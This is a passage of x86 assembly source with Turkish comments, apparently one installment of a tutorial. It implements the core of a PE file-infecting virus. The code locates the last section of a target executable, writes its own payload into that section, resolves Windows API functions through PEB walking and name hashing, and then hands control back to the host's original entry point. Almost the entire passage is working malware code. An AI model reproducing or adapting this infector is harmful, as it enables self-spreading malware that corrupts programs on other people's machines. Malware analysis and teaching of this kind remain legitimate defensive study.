push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

add esp, 4 ; Payload'umuzun yazılacağı RVA değerini yazmak için kullandığımız buffer alanını iade ediyoruz
; ESP+8

; 5. AMAÇ: Dosya'nın son section'ının sonuna payload'umuzun yazılması

; Payload'umuzun yazılacağı adresin belirlenmesi
; Yukarıda stack'e orjinal Size of Raw Data yazılmıştı
; Burada da Pointer to Raw Data bulunarak bu değere eklenecek ve payload yazma adresimizi bulacağız

pop edx ; Son section header'daki Pointer to Raw Data offset'i
; ESP+4
; Son section header'daki Pointer to Raw Data offset'ine git
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Pointer to Raw Data değerini oku
sub esp, 4 ; buffer için yer aç
; ESP+8
mov eax, esp ; buffer adresini EAX'e ata
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push eax ; buffer
call ecx ; call fread
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

; Bu noktada ESP buffer'ımıza işaret ediyor
mov eax, [esp] ; Pointer to Raw Data değerini EAX'e aktarıyoruz
add esp, 4 ; fread için aldığımız stack alanını geri veriyoruz
; ESP+4
mov ebp, [esp] ; Orjinal Size of Raw Data değerini EBP'ye aktarıyoruz
add esp, 4 ; Orjinal Size of Raw Data değerini saklamak için kullandığımız stack alanını geri veriyoruz
; ESP orjinal noktasında
add ebp, eax ; EBP register'ı Payload'umuzu yazacağımız dosya offset'ini içeriyor

; Daha sonra stack'ten tekrar kopyalamak üzere bazı değerleri kaydediyoruz
push edi ; fseek fonksiyon adresi
push ebx ; FILE *stream
push ebp ; Dosya offset değerini STACK'E yazıyoruz

; Şimdi çalışan prosesin içinde payload'un başladığı adresi bulacağız

; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür
push 0x772a2220 ; hash(kernel32.dll)
call modul_bul
add esp, 4 ; call parametre alanını geri veriyoruz
push eax ;kernel32.dll modülünün adresini stack'e yaz
; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde)
push 0xa4aa2707 ; hash(GetModuleHandleA)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

push 0 ; NULL parametresi
call eax ; call GetModuleHandleA
; Bu fonksiyon için callee parametreler için alanı geri verdiğinden (STDCALL calling convention'ı) caller tarafında, yani burada ESP'ye müdahale etmiyoruz
mov ebx, eax ; EXE modülü hafıza başlangıç adresi EBX register'ına aktarılır
mov ebp, eax ; EXE modülü hafıza başlangıç adresi EBP register'ına aktarılır. EBP'ye dokunmayacağız
add eax, 0x3C ; IMAGE_NT_HEADERS offset adresinin tutulduğu offset
mov eax, [eax] ; EAX register'ı IMAGE_NT_HEADERS offset'ini içeriyor
add ebx, eax ; EBX register'ı IMAGE_NT_HEADERS adresini içeriyor, sonraki alan adreslerini oluşturmak için bu register'ı kullanacağız
mov ecx, ebx ; ECX register'ı da IMAGE_NT_HEADERS adresini içeriyor, bu register'ı # of sections değerini bulmak için kullanacağız
add ecx, 6 ; ECX IMAGE_FILE_HEADER+6 adresini içeriyor
mov cx, [ecx] ; CX register'ı 4 bitlik # of Sections değerini içeriyor
dec cl ; Son section'ın ilk adresini bulabilmek için (# of Sections - 1) hesaplamasını yapıyoruz
xor eax, eax ; EAX register'ını sıfırlıyoruz ki çarpma sonucunda üst byte'lar temiz kalsın
mov al, 0x28; Her bir section header'ın uzunluğu 0x28 byte
mul cl ; CL section sayısı - 1 değerini içeriyordu ve bu değerin 1 byte'ı aşma olasılığı çok düşük. Çarpma sonucu AH ve AL register'larında yer alacaktır
; Bu noktada EBX = IMAGE_NT_HEADERS adresi, EAX = (# of sections - 1) x 0x28 değerlerini içeriyor. 
; Şimdi sırada ilk Section Header'ının değerini bulmak var
mov ecx, ebx ; ECX = IMAGE_NT_HEADERS
add ecx, 0x14 ; Size of Optional Header'ın offset'i
xor edx, edx ; EDX sıfırlandı
mov dx, [ecx] ; DX register'ı ve dolayısıyla EDX Size of Optional Header değerini içeriyor
add ebx, 0x18 ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER
add ebx, edx ; EBX = IMAGE_NT_HEADERS + Signature + IMAGE_FILE_HEADER + IMAGE_OPTIONAL_HEADER = İlk section header'ın başlangıç adresi
add ebx, eax ; EBX = Son section header'ın başlangıç adresi
add ebx, 0x0C ; EBX = RVA değerinin adresi
mov ecx, [ebx] ; ECX = RVA değeri
add ecx, ebp ; ECX = Son section'ın hafızadaki başlangıç adresi
add ebx, 0x04 ; EBX = Size of Raw Data'nın adresi

add ecx, [ebx] ; ECX = Son section'ın son adresi (payload'umuz açısından)
sub ecx, 0x800 ; ECX = Payload'umuzun hafızadaki başlangıç adresi

; Yukarıda kaydettiğimiz değerleri geri yüklüyoruz
pop ebp ; Dosya offset değerini EBP'ye atıyoruz
pop ebx ; FILE *stream değerini EBX'e atıyoruz
pop edi ; fseek fonksiyon adresi EDI'a atıyoruz

; Hafızadaki payload'u dosyaya yaz
mov edx, ebp ; Klasik fseek çağrı parametre register'larımızı bozmamak için yazmaya başlayacağımız dosya offset'ini EDX'e atıyoruz

push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push 0 ; SEEK_SET
push edx ; offset
push ebx ; FILE *stream
call edi ; call fseek
add esp, 12 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

;fwrite fonksiyon adresinin bulunması (msvcr120.dll kütüphanesinde)
push esi ; msvcr120.dll modül adresi
push 0x11380979 ; hash(fwrite)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz
mov edx, eax ; fwrite fonksiyonunun adresini daha sonra da kullanmak üzere EDX'e atıyoruz

; İlk 0x600 byte kodumuzu içerecek ve hafızadan yüklenecek. 
; Ancak virtual size - fiziksel büyüklük farkı dolayısıyla 0x600 byte'ın tamamı hafızaya yüklenmemiş olabilir. Bu yüzden son 0x200 byte'ı "0" ile dolduracağız
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 0x600 ; nmemb - yazma sayısı
push 0x1 ; size - her seferinde yazılacak veri miktarı
push ecx ; buffer - yani hafızada payload'umuzun bulunduğu alanın başlangıcı
call eax ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz

push 0 ; Son 0x200 byte'ı (dec 512) yazmak için kullanacağımız 4 byte'lık buffer. Bu alanı döngü tamamlandıktan sonra geri vereceğiz.
; ESP+4
mov ebp, esp ; EBP buffer'ımızın adresini içeriyor
mov ecx, 0x80 ; sayaç değerimiz hex 0x80 dec 128
doldur:
push ecx ; Caller saved register olan ECX'i saklıyoruz
push edx ; Caller saved register olan EDX'i saklıyoruz
push ebx ; FILE *stream
push 0x04 ; nmemb - yazma sayısı
push 1 ; size - her seferinde yazılacak veri miktarı
push ebp ; buffer - 0x00000000 değerini barındıran stack alanının adresi
call edx ; call fwrite
add esp, 16 ; call parametre alanını geri veriyoruz
pop edx ; Caller saved register olan EDX'i tekrar yüklüyoruz
pop ecx ; Caller saved register olan ECX'i tekrar yüklüyoruz
loop doldur
add esp, 4 ; 0x00000000 değerini saklamak için aldığımız alanı iade ediyoruz.
; ESP orjinal noktada

; Dosyayı kapat
push esi ; msvcr120.dll modül adresi
push 0x11060851 ; hash(fclose)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

push ebx ; FILE *stream
call eax ; call fclose
add esp, 4 ; call parametre alanını geri veriyoruz

son_nokta :

; Bu noktadan sonra program normal akışına devam edecek

; GetModuleHandleA(NULL) EAX register'ında EXE'nin baz adresini döndürür
push 0x772a2220 ; hash(kernel32.dll)
call modul_bul
add esp, 4 ; call parametre alanını geri veriyoruz
push eax ; kernel32.dll modülünün adresini stack'e yaz
; GetModuleHandleA fonksiyonunun adresini bul (kernel32.dll kütüphanesinde)
push 0xa4aa2707 ; hash(GetModuleHandleA)
call fonksiyon_bul ; EAX ile fonksiyon adresini döndürür
add esp, 8 ; call parametre alanını geri veriyoruz

push 0
call eax ; call GetModuleHandleA
; STDCALL calling convention gereği caller parametre alanını geri verdiğinden 
mov ebp, eax ; EXE modül baz adresini EBP'ye atıyoruz
add eax, 0x24 ; OEM bölgesinin adresi
mov eax, [eax] ; RVA entry point değerini EAX'e atıyoruz
add eax, ebp ; VA entry point değerini hesaplıyoruz

; Payload'umuz çalışmadan önceki (EAX hariç) register değerlerini eski hallerine getiriyoruz
pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
jmp eax ; Orjinal Address of Entry Point adresine atlıyoruz


;;;;;;;;;;;;;;;;;;;;;;; IMAGE_NT_HEADERS Offset Addresini Bulma Bölümü ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Bu işlem çok defa gerçekleştirildiği için fonksiyon haline getirilmiştir.
; IMAGE_NT_HEADERS bölümünün offset değerini EAX register'ında döndürdüğü gibi dosya imlecini de buraya taşınmış vaziyette bırakır.
; Bu noktada esp+4'te FILE *stream pointer'ı, esp+8'de fseek fonksiyon adresi, esp+12'de fread fonksiyon adresi yer alır. Aşağıda bu değerler stack'te tüketilen yerlere göre yeniden düzenlenmiştir.
; IMAGE_NT_HEADERS offset adresini EAX ile döndürür

image_nt_headers_offsetine_yuru :
; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var
push ebx
push esi
push edi
push ecx
push edx
push ebp
push esp

mov ebp, esp ; prolog

push 0 ; SEEK_SET
push 0x3C ; IMAGE_DOS_HEADER içinde 0x3C offset'te IMAGE_NT_HEADERS offset değerini bulacağız.
mov ebx, [ebp + 32]
push ebx ; FILE *stream
call [ebp + 36] ; call fseek
add esp, 12

; 0x3C'yi (IMAGE_NT_HEADERS offset değerini) oku
sub esp, 4 ; buffer için yer aç
; ESP+4
mov edx, esp ; buffer adresini EDX'e ata
mov ebx, [ebp + 32] ; FILE *stream
push ebx ; FILE *stream
push 4 ; nmemb - okuma sayısı
push 1 ; size - her seferinde okunacak veri miktarı
push edx ; buffer
call [ebp + 40] ; call fread
add esp, 16

; IMAGE_NT_HEADERS offset değerini ESI'ye atıyoruz
mov esi, [esp]
add esp, 4

; IMAGE_NT_HEADERS offset'ine git
push 0 ; SEEK_SET
push esi ; IMAGE_NT_HEADERS offset'i
mov ebx, [ebp + 32] ; FILE *stream
push ebx ; FILE *stream
call [ebp + 36] ; call fseek
add esp, 12
mov eax, esi

; Tüm register'ları eski haline getiriyoruz
pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
ret

;;;;;;;;;;;;;;;;;;;;;;; Modül Adresi Bulma Bölümü ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Modül adı hashlerini karşılaştırarak modül baz adresini bulur.
; esp+4 te modül adı hashini alır. Modül adı unicode formatındadır. Ancak bu durum hash sonucuna etki etmemektedir. Yine de hesaplamalarda AL yerine AX register'ı kullanılmak zorundadır.
; Modül baz adresini EAX ile döndürür

modul_bul :
; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var
push ebx
push esi
push edi
push ecx
push edx
push ebp
push esp

mov edx, [fs:0x30] ; PEB adresi
mov edx, [edx + 0x0c]; PEB LOADER DATA adresi
mov edx, [edx + 0x1c]; Başlatılma sırasına göre modül listesinin başlangıç adresi # sonraki modülleri bulabilmek için EDX'e dokunulmamalı

sonraki_modul :
mov esi, [edx + 0x20]; esi = InInitOrder[0].module_name(unicode) # modül adının adresi

modul_hash_hesaplama_bolumu :
xor edi, edi
xor eax, eax
cld; lodsw instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz

modul_hash_hesaplama_dongusu :
lodsw; ESI nin işaret ettiği mevcut fonksiyon adı Unicode harfini(yani iki byteı) AX registerına yüklüyoruz ve ESI yi bir artırıyoruz
test ax, ax; Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
jz modul_hash_karsilastirma; AX register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz
ror edi, 0xf; Hash değerini 15 bit rotate ettiriyoruz
add edi, eax; Hash değerine mevcut karakteri ekliyoruz
jmp modul_hash_hesaplama_dongusu

modul_hash_karsilastirma : 
mov eax, [edx + 0x08] ; Modül baz adresi EAX'e atanıyor
mov edx, [edx]; liste bileşeninin flink değeri 
;cmp edi, [esp + 0x10] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz
cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen modül hash değeri ile tutup tutmadığını kontrol ediyoruz
jnz sonraki_modul

modul_bulundu : ; Bu noktada EAX register'ına modül baz adresi atanmış durumdadır.
pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
ret

;;;;;;;;;;;;;;;;;;;;;;; Fonksiyon Adresi Bulma Bölümü ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Fonksiyon hashlerini karşılaştırarak fonksiyon adresini bulur.
; esp+8 de modül adresini, esp+4 te fonksiyon hashini alır.
; Fonksiyon adresini EAX ile döndürür.

fonksiyon_bul:
; EAX hariç tüm register'ları saklıyoruz, EAX'e sonuç döndürmek için ihtiyacımız var
push ebx
push esi
push edi
push ecx
push edx
push ebp
push esp

mov ebp, [esp + 0x24] ;Modül adresini al
mov eax, [ebp + 0x3c] ;MSDOS başlığını atlıyoruz
mov edx, [ebp + eax + 0x78] ;Export tablosunun RVA adresini edx e yazıyoruz
add edx, ebp ;Export tablosunun VA adresini hesaplıyoruz
mov ecx, [edx + 0x18] ;Export tablosundan toplam fonksiyon sayısını sayaç olarak kullanmak üzere kaydediyoruz
mov ebx, [edx + 0x20] ;Export names tablosunun RVA adresini ebx e yazıyoruz
add ebx, ebp ;Export names tablosunun VA adresini hesaplıyoruz

sonraki_fonksiyon : ;fonksiyon_bulma_dongusu:
dec ecx ;Sayaç son fonksiyondan başlayarak başa doğru azaltılır
mov esi, [ebx + ecx * 4] ;Export names tablosunda sırası gelen fonksiyon adının pointerının VA adresini hesaplıyoruz ve pointer ı ESI a atıyoruz (pointer RVA formatında)
add esi, ebp ;Modül baz adresini fonksiyon pointerının RVA adresine ekleyerek fonksiyon pointer'ının VA adresini hesaplıyoruz

fonksiyon_hash_hesaplama_bolumu :
xor edi, edi
xor eax, eax
cld ;lods instructionı ESI register ını yanlışlıkla aşağı yönde değiştirmesin diye emin olmak için kullanıyoruz

fonksiyon_hash_hesaplama_dongusu :
lodsb ;ESI nin işaret ettiği mevcut fonksiyon adı harfini (yani bir byteı) AL registerına yüklüyoruz ve ESI yi bir artırıyoruz
test al, al ;Fonksiyon adının sonuna gelip gelmediğimizi test ediyoruz
jz fonksiyon_hash_karsilastirma ;AL register değeri 0 ise, yani fonksiyon adını tamamlamışsak hesaplamayı sona erdiriyoruz
ror edi, 0xf ;Hash değerini 15 bit sağa rotate ettiriyoruz
add edi, eax ;Hash değerine mevcut karakteri ekliyoruz
jmp fonksiyon_hash_hesaplama_dongusu

fonksiyon_hash_karsilastirma :
cmp edi, [esp + 0x20] ;Hesaplanan hash değerinin stackte parametre olarak verilen fonksiyon hash değeri ile tutup tutmadığını kontrol ediyoruz
jnz sonraki_fonksiyon

fonksiyon_bulundu : ;Fonksiyon adının hash değeri tuttuktan sonra fonksiyon adresi EAX register'ına aktarılır
mov ebx, [edx + 0x24] ;Fonksiyonun adresini bulabilmek için Export ordinals tablosunun RVA adresini tespit ediyoruz
add ebx, ebp ;Export ordinals tablosunun VA adresini hesaplıyoruz
mov cx, [ebx + 2 * ecx] ;Fonksiyonun Ordinal numarasını elde ediyoruz (ordinal numarası 2 byte)
mov ebx, [edx + 0x1c] ;Export adres tablosunun RVA adresini tespit ediyoruz
add ebx, ebp ;Export adres tablosunun VA adresini hesaplıyoruz
mov eax, [ebx + 4 * ecx] ;Fonksiyonun ordinal numarasını kullanarak fonksiyon adresinin RVA adresini tespit ediyoruz
add eax, ebp ;Fonksiyonun VA adresini hesaplıyoruz

pop esp
pop ebp
pop edx
pop ecx
pop edi
pop esi
pop ebx
ret

<<Önceki Bölüm